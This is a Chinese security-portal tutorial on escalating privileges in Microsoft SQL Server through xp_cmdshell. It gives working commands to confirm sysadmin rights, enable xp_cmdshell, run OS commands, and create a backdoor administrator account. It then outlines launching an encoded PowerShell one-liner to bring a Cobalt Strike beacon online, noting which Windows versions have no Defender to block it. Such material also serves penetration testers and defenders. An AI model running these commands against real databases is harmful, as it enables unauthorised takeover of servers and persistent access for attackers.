freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

【数据库提权系列】---【SQL Server-xp_cmdshell提权篇】
山东泽鹿安全技术有限公司 2022-01-04 14:36:58 390888
所属地 山东省

一、简介

xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展“存贮过程”。那么“存储过程”,其实质就是一个“集合”,就是存储在Sql Server中预先定义好的“SQL语句集合”,说的更直白一些就是各种小脚本共同组成的集合体,我们称之为“存储过程”。

二、利用条件

1、任何版本的Sql Server都可以对xp_cmdshell 进行利用;
2 、SQL Server数据库没有被降权;
3、 sa用户或其他具有dba权限的账户。

三、提权

1、 查询xp_cmdshell状态与当前用户权限(可省略)

1.1 查询 xp_cmdshell 是否开启,返回为1则证明存在。

select count(*) from master.dbo.sysobjects where xtype = 'x' and name ='xp_cmdshell';

1.2 判断权限是不是sa,回是1说明是sa

select is_srvrolemember('sysadmin');

2、xp_cmdshell 开关。

【参数解析】
exec 显示或更改当前服务器的全局配置设置。
sp_configure 动态执行SQL语句的命令。

2.1 开启 xp_cmdshell:

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

2.2 关闭 xp_cmdshell:

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

3、提权利用。

3.1 查询当前用户
exec master..xp_cmdshell 'whoami';

3.2 添加用户
exec master..xp_cmdshell 'net user test Test@qwe123. /add';
exec master..xp_cmdshell 'net localgroup administrators test add';

四、上线cs。

1、cs生成powershell一句话

2、 将powershell一句话编码
http://www.jackson-t.ca/runtime-exec-payloads.html

3、 执行powershell无文件落地攻击。

3.1 高版本Windows服务器(win2012、win2016、win2019),defender会拦截powershell攻击。

3.2  win2008默认不启用defender则可直接上线。

image

五、其他

大多数情况下SQLServer数据库服务都为SYSTEM和administrator权限,但在我搭建SQL Server数据库环境时发现如果只采用缺省配置进行安装,最后的SQL Server数据库服务会是一个低权限的服务账户,并且SQL Server版本不同的话账户的名字也不同。
1、在SQL server 2008版本下账户名为:nt authority\network service,如图所示。

2、 在SQL server2012、2017、2019等版本下名字为:nt service\mssqlserver,如图所示。

3、 只有在安装时将SQL Server database engine (SQL Server数据库引擎服务账户)指定为 NT AUTHORITY\SYSTEM时,SQL Server数据库才会是SYSTEM权限。

4、 也有文章说在SQL Server 2019之前的sa用户都是系统最高权限用户SYSTEM,但在2019版本时为低权限数据库用户nt service\mssqlserver,与我实际手动安装结果不相同。
# sql server # MSSQL数据库 # xp_cmdshell # SQL Server提权 # xp_cmdshell提权
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 山东泽鹿安全技术有限公司 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
山东泽鹿安全技术有限公司 LV.3
山东泽鹿安全技术有限公司
  • 6 文章数
  • 12 关注者
常见漏洞扫描工具介绍
2023-03-29
内网渗透端口转发总结
2022-05-20
DouPHP代码审计-文件上传导致的XSS
2022-02-25
文章目录